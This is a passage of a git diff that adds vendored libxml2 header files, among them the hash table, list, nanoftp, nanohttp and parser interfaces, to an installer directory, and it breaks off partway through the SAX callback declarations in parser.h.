@data: extra scannner data + * @name: the name associated + * @name2: the second name associated + * @name3: the third name associated + * + * Callback when scanning data in a hash with the full scanner. + */ +typedef void (*xmlHashScannerFull)(void *payload, void *data, + const xmlChar *name, const xmlChar *name2, + const xmlChar *name3); + +/* + * Constructor and destructor. + */ +XMLPUBFUN xmlHashTablePtr XMLCALL + xmlHashCreate (int size); +XMLPUBFUN xmlHashTablePtr XMLCALL + xmlHashCreateDict(int size, + xmlDictPtr dict); +XMLPUBFUN void XMLCALL + xmlHashFree (xmlHashTablePtr table, + xmlHashDeallocator f); + +/* + * Add a new entry to the hash table. + */ +XMLPUBFUN int XMLCALL + xmlHashAddEntry (xmlHashTablePtr table, + const xmlChar *name, + void *userdata); +XMLPUBFUN int XMLCALL + xmlHashUpdateEntry(xmlHashTablePtr table, + const xmlChar *name, + void *userdata, + xmlHashDeallocator f); +XMLPUBFUN int XMLCALL + xmlHashAddEntry2(xmlHashTablePtr table, + const xmlChar *name, + const xmlChar *name2, + void *userdata); +XMLPUBFUN int XMLCALL + xmlHashUpdateEntry2(xmlHashTablePtr table, + const xmlChar *name, + const xmlChar *name2, + void *userdata, + xmlHashDeallocator f); +XMLPUBFUN int XMLCALL + xmlHashAddEntry3(xmlHashTablePtr table, + const xmlChar *name, + const xmlChar *name2, + const xmlChar *name3, + void *userdata); +XMLPUBFUN int XMLCALL + xmlHashUpdateEntry3(xmlHashTablePtr table, + const xmlChar *name, + const xmlChar *name2, + const xmlChar *name3, + void *userdata, + xmlHashDeallocator f); + +/* + * Remove an entry from the hash table. + */ +XMLPUBFUN int XMLCALL + xmlHashRemoveEntry(xmlHashTablePtr table, const xmlChar *name, + xmlHashDeallocator f); +XMLPUBFUN int XMLCALL + xmlHashRemoveEntry2(xmlHashTablePtr table, const xmlChar *name, + const xmlChar *name2, xmlHashDeallocator f); +XMLPUBFUN int XMLCALL + xmlHashRemoveEntry3(xmlHashTablePtr table, const xmlChar *name, + const xmlChar *name2, const xmlChar *name3, + xmlHashDeallocator f); + +/* + * Retrieve the userdata. + */ +XMLPUBFUN void * XMLCALL + xmlHashLookup (xmlHashTablePtr table, + const xmlChar *name); +XMLPUBFUN void * XMLCALL + xmlHashLookup2 (xmlHashTablePtr table, + const xmlChar *name, + const xmlChar *name2); +XMLPUBFUN void * XMLCALL + xmlHashLookup3 (xmlHashTablePtr table, + const xmlChar *name, + const xmlChar *name2, + const xmlChar *name3); +XMLPUBFUN void * XMLCALL + xmlHashQLookup (xmlHashTablePtr table, + const xmlChar *name, + const xmlChar *prefix); +XMLPUBFUN void * XMLCALL + xmlHashQLookup2 (xmlHashTablePtr table, + const xmlChar *name, + const xmlChar *prefix, + const xmlChar *name2, + const xmlChar *prefix2); +XMLPUBFUN void * XMLCALL + xmlHashQLookup3 (xmlHashTablePtr table, + const xmlChar *name, + const xmlChar *prefix, + const xmlChar *name2, + const xmlChar *prefix2, + const xmlChar *name3, + const xmlChar *prefix3); + +/* + * Helpers. + */ +XMLPUBFUN xmlHashTablePtr XMLCALL + xmlHashCopy (xmlHashTablePtr table, + xmlHashCopier f); +XMLPUBFUN int XMLCALL + xmlHashSize (xmlHashTablePtr table); +XMLPUBFUN void XMLCALL + xmlHashScan (xmlHashTablePtr table, + xmlHashScanner f, + void *data); +XMLPUBFUN void XMLCALL + xmlHashScan3 (xmlHashTablePtr table, + const xmlChar *name, + const xmlChar *name2, + const xmlChar *name3, + xmlHashScanner f, + void *data); +XMLPUBFUN void XMLCALL + xmlHashScanFull (xmlHashTablePtr table, + xmlHashScannerFull f, + void *data); +XMLPUBFUN void XMLCALL + xmlHashScanFull3(xmlHashTablePtr table, + const xmlChar *name, + const xmlChar *name2, + const xmlChar *name3, + xmlHashScannerFull f, + void *data); +#ifdef __cplusplus +} +#endif +#endif /* ! __XML_HASH_H__ */ diff --git a/installer/libxml2/include/libxml/list.h b/installer/libxml2/include/libxml/list.h new file mode 100644 index 0000000..0504e0c --- /dev/null +++ b/installer/libxml2/include/libxml/list.h @@ -0,0 +1,137 @@ +/* + * Summary: lists interfaces + * Description: this module implement the list support used in + * various place in the library. + * + * Copy: See Copyright for the status of this software. + * + * Author: Gary Pennington + */ + +#ifndef __XML_LINK_INCLUDE__ +#define __XML_LINK_INCLUDE__ + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct _xmlLink xmlLink; +typedef xmlLink *xmlLinkPtr; + +typedef struct _xmlList xmlList; +typedef xmlList *xmlListPtr; + +/** + * xmlListDeallocator: + * @lk: the data to deallocate + * + * Callback function used to free data from a list. + */ +typedef void (*xmlListDeallocator) (xmlLinkPtr lk); +/** + * xmlListDataCompare: + * @data0: the first data + * @data1: the second data + * + * Callback function used to compare 2 data. + * + * Returns 0 is equality, -1 or 1 otherwise depending on the ordering. + */ +typedef int (*xmlListDataCompare) (const void *data0, const void *data1); +/** + * xmlListWalker: + * @data: the data found in the list + * @user: extra user provided data to the walker + * + * Callback function used when walking a list with xmlListWalk(). + * + * Returns 0 to stop walking the list, 1 otherwise. + */ +typedef int (*xmlListWalker) (const void *data, const void *user); + +/* Creation/Deletion */ +XMLPUBFUN xmlListPtr XMLCALL + xmlListCreate (xmlListDeallocator deallocator, + xmlListDataCompare compare); +XMLPUBFUN void XMLCALL + xmlListDelete (xmlListPtr l); + +/* Basic Operators */ +XMLPUBFUN void * XMLCALL + xmlListSearch (xmlListPtr l, + void *data); +XMLPUBFUN void * XMLCALL + xmlListReverseSearch (xmlListPtr l, + void *data); +XMLPUBFUN int XMLCALL + xmlListInsert (xmlListPtr l, + void *data) ; +XMLPUBFUN int XMLCALL + xmlListAppend (xmlListPtr l, + void *data) ; +XMLPUBFUN int XMLCALL + xmlListRemoveFirst (xmlListPtr l, + void *data); +XMLPUBFUN int XMLCALL + xmlListRemoveLast (xmlListPtr l, + void *data); +XMLPUBFUN int XMLCALL + xmlListRemoveAll (xmlListPtr l, + void *data); +XMLPUBFUN void XMLCALL + xmlListClear (xmlListPtr l); +XMLPUBFUN int XMLCALL + xmlListEmpty (xmlListPtr l); +XMLPUBFUN xmlLinkPtr XMLCALL + xmlListFront (xmlListPtr l); +XMLPUBFUN xmlLinkPtr XMLCALL + xmlListEnd (xmlListPtr l); +XMLPUBFUN int XMLCALL + xmlListSize (xmlListPtr l); + +XMLPUBFUN void XMLCALL + xmlListPopFront (xmlListPtr l); +XMLPUBFUN void XMLCALL + xmlListPopBack (xmlListPtr l); +XMLPUBFUN int XMLCALL + xmlListPushFront (xmlListPtr l, + void *data); +XMLPUBFUN int XMLCALL + xmlListPushBack (xmlListPtr l, + void *data); + +/* Advanced Operators */ +XMLPUBFUN void XMLCALL + xmlListReverse (xmlListPtr l); +XMLPUBFUN void XMLCALL + xmlListSort (xmlListPtr l); +XMLPUBFUN void XMLCALL + xmlListWalk (xmlListPtr l, + xmlListWalker walker, + const void *user); +XMLPUBFUN void XMLCALL + xmlListReverseWalk (xmlListPtr l, + xmlListWalker walker, + const void *user); +XMLPUBFUN void XMLCALL + xmlListMerge (xmlListPtr l1, + xmlListPtr l2); +XMLPUBFUN xmlListPtr XMLCALL + xmlListDup (const xmlListPtr old); +XMLPUBFUN int XMLCALL + xmlListCopy (xmlListPtr cur, + const xmlListPtr old); +/* Link operators */ +XMLPUBFUN void * XMLCALL + xmlLinkGetData (xmlLinkPtr lk); + +/* xmlListUnique() */ +/* xmlListSwap */ + +#ifdef __cplusplus +} +#endif + +#endif /* __XML_LINK_INCLUDE__ */ diff --git a/installer/libxml2/include/libxml/nanoftp.h b/installer/libxml2/include/libxml/nanoftp.h new file mode 100644 index 0000000..abb4bf7 --- /dev/null +++ b/installer/libxml2/include/libxml/nanoftp.h @@ -0,0 +1,163 @@ +/* + * Summary: minimal FTP implementation + * Description: minimal FTP implementation allowing to fetch resources + * like external subset. + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __NANO_FTP_H__ +#define __NANO_FTP_H__ + +#include + +#ifdef LIBXML_FTP_ENABLED + +/* Needed for portability to Windows 64 bits */ +#if defined(__MINGW32__) || defined(_WIN32_WCE) +#include +#else +/** + * SOCKET: + * + * macro used to provide portability of code to windows sockets + */ +#define SOCKET int +/** + * INVALID_SOCKET: + * + * macro used to provide portability of code to windows sockets + * the value to be used when the socket is not valid + */ +#undef INVALID_SOCKET +#define INVALID_SOCKET (-1) +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * ftpListCallback: + * @userData: user provided data for the callback + * @filename: the file name (including "->" when links are shown) + * @attrib: the attribute string + * @owner: the owner string + * @group: the group string + * @size: the file size + * @links: the link count + * @year: the year + * @month: the month + * @day: the day + * @hour: the hour + * @minute: the minute + * + * A callback for the xmlNanoFTPList command. + * Note that only one of year and day:minute are specified. + */ +typedef void (*ftpListCallback) (void *userData, + const char *filename, const char *attrib, + const char *owner, const char *group, + unsigned long size, int links, int year, + const char *month, int day, int hour, + int minute); +/** + * ftpDataCallback: + * @userData: the user provided context + * @data: the data received + * @len: its size in bytes + * + * A callback for the xmlNanoFTPGet command. + */ +typedef void (*ftpDataCallback) (void *userData, + const char *data, + int len); + +/* + * Init + */ +XMLPUBFUN void XMLCALL + xmlNanoFTPInit (void); +XMLPUBFUN void XMLCALL + xmlNanoFTPCleanup (void); + +/* + * Creating/freeing contexts. + */ +XMLPUBFUN void * XMLCALL + xmlNanoFTPNewCtxt (const char *URL); +XMLPUBFUN void XMLCALL + xmlNanoFTPFreeCtxt (void * ctx); +XMLPUBFUN void * XMLCALL + xmlNanoFTPConnectTo (const char *server, + int port); +/* + * Opening/closing session connections. + */ +XMLPUBFUN void * XMLCALL + xmlNanoFTPOpen (const char *URL); +XMLPUBFUN int XMLCALL + xmlNanoFTPConnect (void *ctx); +XMLPUBFUN int XMLCALL + xmlNanoFTPClose (void *ctx); +XMLPUBFUN int XMLCALL + xmlNanoFTPQuit (void *ctx); +XMLPUBFUN void XMLCALL + xmlNanoFTPScanProxy (const char *URL); +XMLPUBFUN void XMLCALL + xmlNanoFTPProxy (const char *host, + int port, + const char *user, + const char *passwd, + int type); +XMLPUBFUN int XMLCALL + xmlNanoFTPUpdateURL (void *ctx, + const char *URL); + +/* + * Rather internal commands. + */ +XMLPUBFUN int XMLCALL + xmlNanoFTPGetResponse (void *ctx); +XMLPUBFUN int XMLCALL + xmlNanoFTPCheckResponse (void *ctx); + +/* + * CD/DIR/GET handlers. + */ +XMLPUBFUN int XMLCALL + xmlNanoFTPCwd (void *ctx, + const char *directory); +XMLPUBFUN int XMLCALL + xmlNanoFTPDele (void *ctx, + const char *file); + +XMLPUBFUN SOCKET XMLCALL + xmlNanoFTPGetConnection (void *ctx); +XMLPUBFUN int XMLCALL + xmlNanoFTPCloseConnection(void *ctx); +XMLPUBFUN int XMLCALL + xmlNanoFTPList (void *ctx, + ftpListCallback callback, + void *userData, + const char *filename); +XMLPUBFUN SOCKET XMLCALL + xmlNanoFTPGetSocket (void *ctx, + const char *filename); +XMLPUBFUN int XMLCALL + xmlNanoFTPGet (void *ctx, + ftpDataCallback callback, + void *userData, + const char *filename); +XMLPUBFUN int XMLCALL + xmlNanoFTPRead (void *ctx, + void *dest, + int len); + +#ifdef __cplusplus +} +#endif +#endif /* LIBXML_FTP_ENABLED */ +#endif /* __NANO_FTP_H__ */ diff --git a/installer/libxml2/include/libxml/nanohttp.h b/installer/libxml2/include/libxml/nanohttp.h new file mode 100644 index 0000000..22b8fb4 --- /dev/null +++ b/installer/libxml2/include/libxml/nanohttp.h @@ -0,0 +1,81 @@ +/* + * Summary: minimal HTTP implementation + * Description: minimal HTTP implementation allowing to fetch resources + * like external subset. + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __NANO_HTTP_H__ +#define __NANO_HTTP_H__ + +#include + +#ifdef LIBXML_HTTP_ENABLED + +#ifdef __cplusplus +extern "C" { +#endif +XMLPUBFUN void XMLCALL + xmlNanoHTTPInit (void); +XMLPUBFUN void XMLCALL + xmlNanoHTTPCleanup (void); +XMLPUBFUN void XMLCALL + xmlNanoHTTPScanProxy (const char *URL); +XMLPUBFUN int XMLCALL + xmlNanoHTTPFetch (const char *URL, + const char *filename, + char **contentType); +XMLPUBFUN void * XMLCALL + xmlNanoHTTPMethod (const char *URL, + const char *method, + const char *input, + char **contentType, + const char *headers, + int ilen); +XMLPUBFUN void * XMLCALL + xmlNanoHTTPMethodRedir (const char *URL, + const char *method, + const char *input, + char **contentType, + char **redir, + const char *headers, + int ilen); +XMLPUBFUN void * XMLCALL + xmlNanoHTTPOpen (const char *URL, + char **contentType); +XMLPUBFUN void * XMLCALL + xmlNanoHTTPOpenRedir (const char *URL, + char **contentType, + char **redir); +XMLPUBFUN int XMLCALL + xmlNanoHTTPReturnCode (void *ctx); +XMLPUBFUN const char * XMLCALL + xmlNanoHTTPAuthHeader (void *ctx); +XMLPUBFUN const char * XMLCALL + xmlNanoHTTPRedir (void *ctx); +XMLPUBFUN int XMLCALL + xmlNanoHTTPContentLength( void * ctx ); +XMLPUBFUN const char * XMLCALL + xmlNanoHTTPEncoding (void *ctx); +XMLPUBFUN const char * XMLCALL + xmlNanoHTTPMimeType (void *ctx); +XMLPUBFUN int XMLCALL + xmlNanoHTTPRead (void *ctx, + void *dest, + int len); +#ifdef LIBXML_OUTPUT_ENABLED +XMLPUBFUN int XMLCALL + xmlNanoHTTPSave (void *ctxt, + const char *filename); +#endif /* LIBXML_OUTPUT_ENABLED */ +XMLPUBFUN void XMLCALL + xmlNanoHTTPClose (void *ctx); +#ifdef __cplusplus +} +#endif + +#endif /* LIBXML_HTTP_ENABLED */ +#endif /* __NANO_HTTP_H__ */ diff --git a/installer/libxml2/include/libxml/parser.h b/installer/libxml2/include/libxml/parser.h new file mode 100644 index 0000000..47fbec0 --- /dev/null +++ b/installer/libxml2/include/libxml/parser.h @@ -0,0 +1,1241 @@ +/* + * Summary: the core parser module + * Description: Interfaces, constants and types related to the XML parser + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __XML_PARSER_H__ +#define __XML_PARSER_H__ + +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * XML_DEFAULT_VERSION: + * + * The default version of XML used: 1.0 + */ +#define XML_DEFAULT_VERSION "1.0" + +/** + * xmlParserInput: + * + * An xmlParserInput is an input flow for the XML processor. + * Each entity parsed is associated an xmlParserInput (except the + * few predefined ones). This is the case both for internal entities + * - in which case the flow is already completely in memory - or + * external entities - in which case we use the buf structure for + * progressive reading and I18N conversions to the internal UTF-8 format. + */ + +/** + * xmlParserInputDeallocate: + * @str: the string to deallocate + * + * Callback for freeing some parser input allocations. + */ +typedef void (* xmlParserInputDeallocate)(xmlChar *str); + +struct _xmlParserInput { + /* Input buffer */ + xmlParserInputBufferPtr buf; /* UTF-8 encoded buffer */ + + const char *filename; /* The file analyzed, if any */ + const char *directory; /* the directory/base of the file */ + const xmlChar *base; /* Base of the array to parse */ + const xmlChar *cur; /* Current char being parsed */ + const xmlChar *end; /* end of the array to parse */ + int length; /* length if known */ + int line; /* Current line */ + int col; /* Current column */ + /* + * NOTE: consumed is only tested for equality in the parser code, + * so even if there is an overflow this should not give troubles + * for parsing very large instances. + */ + unsigned long consumed; /* How many xmlChars already consumed */ + xmlParserInputDeallocate free; /* function to deallocate the base */ + const xmlChar *encoding; /* the encoding string for entity */ + const xmlChar *version; /* the version string for entity */ + int standalone; /* Was that entity marked standalone */ + int id; /* an unique identifier for the entity */ +}; + +/** + * xmlParserNodeInfo: + * + * The parser can be asked to collect Node informations, i.e. at what + * place in the file they were detected. + * NOTE: This is off by default and not very well tested. + */ +typedef struct _xmlParserNodeInfo xmlParserNodeInfo; +typedef xmlParserNodeInfo *xmlParserNodeInfoPtr; + +struct _xmlParserNodeInfo { + const struct _xmlNode* node; + /* Position & line # that text that created the node begins & ends on */ + unsigned long begin_pos; + unsigned long begin_line; + unsigned long end_pos; + unsigned long end_line; +}; + +typedef struct _xmlParserNodeInfoSeq xmlParserNodeInfoSeq; +typedef xmlParserNodeInfoSeq *xmlParserNodeInfoSeqPtr; +struct _xmlParserNodeInfoSeq { + unsigned long maximum; + unsigned long length; + xmlParserNodeInfo* buffer; +}; + +/** + * xmlParserInputState: + * + * The parser is now working also as a state based parser. + * The recursive one use the state info for entities processing. + */ +typedef enum { + XML_PARSER_EOF = -1, /* nothing is to be parsed */ + XML_PARSER_START = 0, /* nothing has been parsed */ + XML_PARSER_MISC, /* Misc* before int subset */ + XML_PARSER_PI, /* Within a processing instruction */ + XML_PARSER_DTD, /* within some DTD content */ + XML_PARSER_PROLOG, /* Misc* after internal subset */ + XML_PARSER_COMMENT, /* within a comment */ + XML_PARSER_START_TAG, /* within a start tag */ + XML_PARSER_CONTENT, /* within the content */ + XML_PARSER_CDATA_SECTION, /* within a CDATA section */ + XML_PARSER_END_TAG, /* within a closing tag */ + XML_PARSER_ENTITY_DECL, /* within an entity declaration */ + XML_PARSER_ENTITY_VALUE, /* within an entity value in a decl */ + XML_PARSER_ATTRIBUTE_VALUE, /* within an attribute value */ + XML_PARSER_SYSTEM_LITERAL, /* within a SYSTEM value */ + XML_PARSER_EPILOG, /* the Misc* after the last end tag */ + XML_PARSER_IGNORE, /* within an IGNORED section */ + XML_PARSER_PUBLIC_LITERAL /* within a PUBLIC value */ +} xmlParserInputState; + +/** + * XML_DETECT_IDS: + * + * Bit in the loadsubset context field to tell to do ID/REFs lookups. + * Use it to initialize xmlLoadExtDtdDefaultValue. + */ +#define XML_DETECT_IDS 2 + +/** + * XML_COMPLETE_ATTRS: + * + * Bit in the loadsubset context field to tell to do complete the + * elements attributes lists with the ones defaulted from the DTDs. + * Use it to initialize xmlLoadExtDtdDefaultValue. + */ +#define XML_COMPLETE_ATTRS 4 + +/** + * XML_SKIP_IDS: + * + * Bit in the loadsubset context field to tell to not do ID/REFs registration. + * Used to initialize xmlLoadExtDtdDefaultValue in some special cases. + */ +#define XML_SKIP_IDS 8 + +/** + * xmlParserMode: + * + * A parser can operate in various modes + */ +typedef enum { + XML_PARSE_UNKNOWN = 0, + XML_PARSE_DOM = 1, + XML_PARSE_SAX = 2, + XML_PARSE_PUSH_DOM = 3, + XML_PARSE_PUSH_SAX = 4, + XML_PARSE_READER = 5 +} xmlParserMode; + +/** + * xmlParserCtxt: + * + * The parser context. + * NOTE This doesn't completely define the parser state, the (current ?) + * design of the parser uses recursive function calls since this allow + * and easy mapping from the production rules of the specification + * to the actual code. The drawback is that the actual function call + * also reflect the parser state. However most of the parsing routines + * takes as the only argument the parser context pointer, so migrating + * to a state based parser for progressive parsing shouldn't be too hard. + */ +struct _xmlParserCtxt { + struct _xmlSAXHandler *sax; /* The SAX handler */ + void *userData; /* For SAX interface only, used by DOM build */ + xmlDocPtr myDoc; /* the document being built */ + int wellFormed; /* is the document well formed */ + int replaceEntities; /* shall we replace entities ? */ + const xmlChar *version; /* the XML version string */ + const xmlChar *encoding; /* the declared encoding, if any */ + int standalone; /* standalone document */ + int html; /* an HTML(1)/Docbook(2) document + * 3 is HTML after + * 10 is HTML after + */ + + /* Input stream stack */ + xmlParserInputPtr input; /* Current input stream */ + int inputNr; /* Number of current input streams */ + int inputMax; /* Max number of input streams */ + xmlParserInputPtr *inputTab; /* stack of inputs */ + + /* Node analysis stack only used for DOM building */ + xmlNodePtr node; /* Current parsed Node */ + int nodeNr; /* Depth of the parsing stack */ + int nodeMax; /* Max depth of the parsing stack */ + xmlNodePtr *nodeTab; /* array of nodes */ + + int record_info; /* Whether node info should be kept */ + xmlParserNodeInfoSeq node_seq; /* info about each node parsed */ + + int errNo; /* error code */ + + int hasExternalSubset; /* reference and external subset */ + int hasPErefs; /* the internal subset has PE refs */ + int external; /* are we parsing an external entity */ + + int valid; /* is the document valid */ + int validate; /* shall we try to validate ? */ + xmlValidCtxt vctxt; /* The validity context */ + + xmlParserInputState instate; /* current type of input */ + int token; /* next char look-ahead */ + + char *directory; /* the data directory */ + + /* Node name stack */ + const xmlChar *name; /* Current parsed Node */ + int nameNr; /* Depth of the parsing stack */ + int nameMax; /* Max depth of the parsing stack */ + const xmlChar * *nameTab; /* array of nodes */ + + long nbChars; /* number of xmlChar processed */ + long checkIndex; /* used by progressive parsing lookup */ + int keepBlanks; /* ugly but ... */ + int disableSAX; /* SAX callbacks are disabled */ + int inSubset; /* Parsing is in int 1/ext 2 subset */ + const xmlChar * intSubName; /* name of subset */ + xmlChar * extSubURI; /* URI of external subset */ + xmlChar * extSubSystem; /* SYSTEM ID of external subset */ + + /* xml:space values */ + int * space; /* Should the parser preserve spaces */ + int spaceNr; /* Depth of the parsing stack */ + int spaceMax; /* Max depth of the parsing stack */ + int * spaceTab; /* array of space infos */ + + int depth; /* to prevent entity substitution loops */ + xmlParserInputPtr entity; /* used to check entities boundaries */ + int charset; /* encoding of the in-memory content + actually an xmlCharEncoding */ + int nodelen; /* Those two fields are there to */ + int nodemem; /* Speed up large node parsing */ + int pedantic; /* signal pedantic warnings */ + void *_private; /* For user data, libxml won't touch it */ + + int loadsubset; /* should the external subset be loaded */ + int linenumbers; /* set line number in element content */ + void *catalogs; /* document's own catalog */ + int recovery; /* run in recovery mode */ + int progressive; /* is this a progressive parsing */ + xmlDictPtr dict; /* dictionary for the parser */ + const xmlChar * *atts; /* array for the attributes callbacks */ + int maxatts; /* the size of the array */ + int docdict; /* use strings from dict to build tree */ + + /* + * pre-interned strings + */ + const xmlChar *str_xml; + const xmlChar *str_xmlns; + const xmlChar *str_xml_ns; + + /* + * Everything below is used only by the new SAX mode + */ + int sax2; /* operating in the new SAX mode */ + int nsNr; /* the number of inherited namespaces */ + int nsMax; /* the size of the arrays */ + const xmlChar * *nsTab; /* the array of prefix/namespace name */ + int *attallocs; /* which attribute were allocated */ + void * *pushTab; /* array of data for push */ + xmlHashTablePtr attsDefault; /* defaulted attributes if any */ + xmlHashTablePtr attsSpecial; /* non-CDATA attributes if any */ + int nsWellFormed; /* is the document XML Nanespace okay */ + int options; /* Extra options */ + + /* + * Those fields are needed only for treaming parsing so far + */ + int dictNames; /* Use dictionary names for the tree */ + int freeElemsNr; /* number of freed element nodes */ + xmlNodePtr freeElems; /* List of freed element nodes */ + int freeAttrsNr; /* number of freed attributes nodes */ + xmlAttrPtr freeAttrs; /* List of freed attributes nodes */ + + /* + * the complete error informations for the last error. + */ + xmlError lastError; + xmlParserMode parseMode; /* the parser mode */ + unsigned long nbentities; /* number of entities references */ + unsigned long sizeentities; /* size of parsed entities */ + + /* for use by HTML non-recursive parser */ + xmlParserNodeInfo *nodeInfo; /* Current NodeInfo */ + int nodeInfoNr; /* Depth of the parsing stack */ + int nodeInfoMax; /* Max depth of the parsing stack */ + xmlParserNodeInfo *nodeInfoTab; /* array of nodeInfos */ + + int input_id; /* we need to label inputs */ + unsigned long sizeentcopy; /* volume of entity copy */ +}; + +/** + * xmlSAXLocator: + * + * A SAX Locator. + */ +struct _xmlSAXLocator { + const xmlChar *(*getPublicId)(void *ctx); + const xmlChar *(*getSystemId)(void *ctx); + int (*getLineNumber)(void *ctx); + int (*getColumnNumber)(void *ctx); +}; + +/** + * xmlSAXHandler: + * + * A SAX handler is bunch of callbacks called by the parser when processing + * of the input generate data or structure informations. + */ + +/** + * resolveEntitySAXFunc: + * @ctx: the user data (XML parser context) + * @publicId: The public ID of the entity + * @systemId: The system ID of the entity + * + * Callback: + * The entity loader, to control the loading of external entities, + * the application can either: + * - override this resolveEntity() callback in the SAX block + * - or better use the xmlSetExternalEntityLoader() function to + * set up it's own entity resolution routine + * + * Returns the xmlParserInputPtr if inlined or NULL for DOM behaviour. + */ +typedef xmlParserInputPtr (*resolveEntitySAXFunc) (void *ctx, + const xmlChar *publicId, + const xmlChar *systemId); +/** + * internalSubsetSAXFunc: + * @ctx: the user data (XML parser context) + * @name: the root element name + * @ExternalID: the external ID + * @SystemID: the SYSTEM ID (e.g. filename or URL) + * + * Callback on internal subset declaration. + */ +typedef void (*internalSubsetSAXFunc) (void *ctx, + const xmlChar *name, + const xmlChar *ExternalID, + const xmlChar *SystemID); +/** + * externalSubsetSAXFunc: + * @ctx: the user data (XML parser context) + * @name: the root element name + * @ExternalID: the external ID + * @SystemID: the SYSTEM ID (e.g. filename or URL) + * + * Callback on external subset declaration. + */ +typedef void (*externalSubsetSAXFunc) (void *ctx, + const xmlChar *name, + const xmlChar *ExternalID, + const xmlChar *SystemID); +/** + * getEntitySAXFunc: + * @ctx: the user data (XML parser context) + * @name: The entity name + * + * Get an entity by name. + * + * Returns the xmlEntityPtr if found. + */ +typedef xmlEntityPtr (*getEntitySAXFunc) (void *ctx, + const xmlChar *name); +/** + * getParameterEntitySAXFunc: + * @ctx: the user data (XML parser context) + * @name: The entity name + * + * Get a parameter entity by name. + * + * Returns the xmlEntityPtr if found. + */ +typedef xmlEntityPtr (*getParameterEntitySAXFunc) (void *ctx, + const xmlChar *name); +/** + * entityDeclSAXFunc: + * @ctx: the user data (XML parser context) + * @name: the entity name + * @type: the entity type + * @publicId: The public ID of the entity + * @systemId: The system ID of the entity + * @content: the entity value (without processing). + * + * An entity definition has been parsed. + */ +typedef void (*entityDeclSAXFunc) (void *ctx, + const xmlChar *name, + int type, + const xmlChar *publicId, + const xmlChar *systemId, + xmlChar *content); +/** + * notationDeclSAXFunc: + * @ctx: the user data (XML parser context) + * @name: The name of the notation + * @publicId: The public ID of the entity + * @systemId: The system ID of the entity + * + * What to do when a notation declaration has been parsed. + */ +typedef void (*notationDeclSAXFunc)(void *ctx, + const xmlChar *name, + const xmlChar *publicId, + const xmlChar *systemId); +/** + * attributeDeclSAXFunc: + * @ctx: the user data (XML parser context) + * @elem: the name of the element + * @fullname: the attribute name + * @type: the attribute type + * @def: the type of default value + * @defaultValue: the attribute default value + * @tree: the tree of enumerated value set + * + * An attribute definition has been parsed. + */ +typedef void (*attributeDeclSAXFunc)(void *ctx, + const xmlChar *elem, + const xmlChar *fullname, + int type, + int def, + const xmlChar *defaultValue, + xmlEnumerationPtr tree); +/** + * elementDeclSAXFunc: + * @ctx: the user data (XML parser context) + * @name: the element name + * @type: the element type + * @content: the element value tree + * + * An element definition has been parsed. + */ +typedef void (*elementDeclSAXFunc)(void *ctx, + const xmlChar *name, + int type, + xmlElementContentPtr content); +/** + * unparsedEntityDeclSAXFunc: + * @ctx: the user data (XML parser context) + * @name: The name of the entity + * @publicId: The public ID of the entity + * @systemId: The system ID of the entity + * @notationName: the name of the notation + * + * What to do when an unparsed entity declaration is parsed. + */ +typedef void (*unparsedEntityDeclSAXFunc)(void *ctx, + const xmlChar *name, + const xmlChar *publicId, + const xmlChar *systemId, + const xmlChar *notationName); +/** + * setDocumentLocatorSAXFunc: + * @ctx: the user data (XML parser context) + * @loc: A SAX Locator + * + * Receive the document locator at startup, actually xmlDefaultSAXLocator. + * Everything is available on the context, so this is useless in our case. + */ +typedef void (*setDocumentLocatorSAXFunc) (void *ctx, + xmlSAXLocatorPtr loc); +/** + * startDocumentSAXFunc: + * @ctx: the user data (XML parser context) + * + * Called when the document start being processed. + */ +typedef void (*startDocumentSAXFunc) (void *ctx); +/** + * endDocumentSAXFunc: + * @ctx: the user data (XML parser context) + * + * Called when the document end has been detected. + */ +typedef void (*endDocumentSAXFunc) (void *ctx); +/** + * startElementSAXFunc: + * @ctx: the user data (XML parser context) + * @name: The element name, including namespace prefix + * @atts: An array of name/value attributes pairs, NULL terminated + * + * Called when an opening tag has been processed. + */ +typedef void (*startElementSAXFunc) (void *ctx, + const xmlChar *name, + const xmlChar **atts); +/** + * endElementSAXFunc: + * @ctx: the user data (XML parser context) + * @name: The element name + * + * Called when the end of an element has been detected. + */ +typedef void (*endElementSAXFunc) (void *ctx, + const xmlChar *name); +/** + * attributeSAXFunc: + * @ctx: the user data (XML parser context) + * @name: The attribute name, including namespace prefix + * @value: The attribute value + * + * Handle an attribute that has been read by the parser. + * The default handling is to convert the attribute into an + * DOM subtree and past it in a new xmlAttr element added to + * the element. + */ +typedef void (*attributeSAXFunc) (void *ctx, + const xmlChar *name, + const xmlChar *value); +/** + * referenceSAXFunc: + * @ctx: the user data (XML parser context) + * @name: The entity name + * + * Called when an entity reference is detected. + */ +typedef void (*referenceSAXFunc) (void *ctx, + const xmlChar *name); +/** + * charactersSAXFunc: + * @ctx: the user data (XML parser context) + * @ch: a xmlChar string + * @len: the number of xmlChar + * + * Receiving some chars from the parser. + */ +typedef void (*charactersSAXFunc) (void *ctx, + const xmlChar *ch, + int len); +/** + * ignorableWhitespaceSAXFunc: + * @ctx: the user data (XML parser context) + * @ch: a xmlChar string + * @len: the number of xmlChar + * + * Receiving some ignorable whitespaces from the parser. + * UNUSED: by default the DOM building will use characters. + */ +typedef void (*ignorableWhitespaceSAXFunc) (void *ctx, + const xmlChar *ch, + int len); +/** + * processingInstructionSAXFunc: + * @ctx: the user data (XML parser context) + * @target: the target name + * @data: the PI data's + * + * A processing instruction has been parsed. + */ +typedef void (*processingInstructionSAXFunc) (void *ctx, + const xmlChar *target, + const xmlChar *data); +/** + * commentSAXFunc: + * @ctx: the user data (XML parser context) + * @value: the comment content + * + * A comment has been parsed. + */ +typedef void (*commentSAXFunc) (void *ctx, + const xmlChar *value); +/** + * cdataBlockSAXFunc: + * @ctx: the user data (XML parser context) + * @value: The pcdata content + * @len: the block length + * + * Called when a pcdata block has been parsed. + */ +typedef void (*cdataBlockSAXFunc) ( + void *ctx, + const xmlChar *value, + int len); +/** + * warningSAXFunc: + * @ctx: an XML parser context + * @msg: the message to display/transmit + * @...: extra parameters for the message display + * + * Display and format a warning messages, callback. + */ +typedef void (XMLCDECL *warningSAXFunc) (void *ctx, + const char 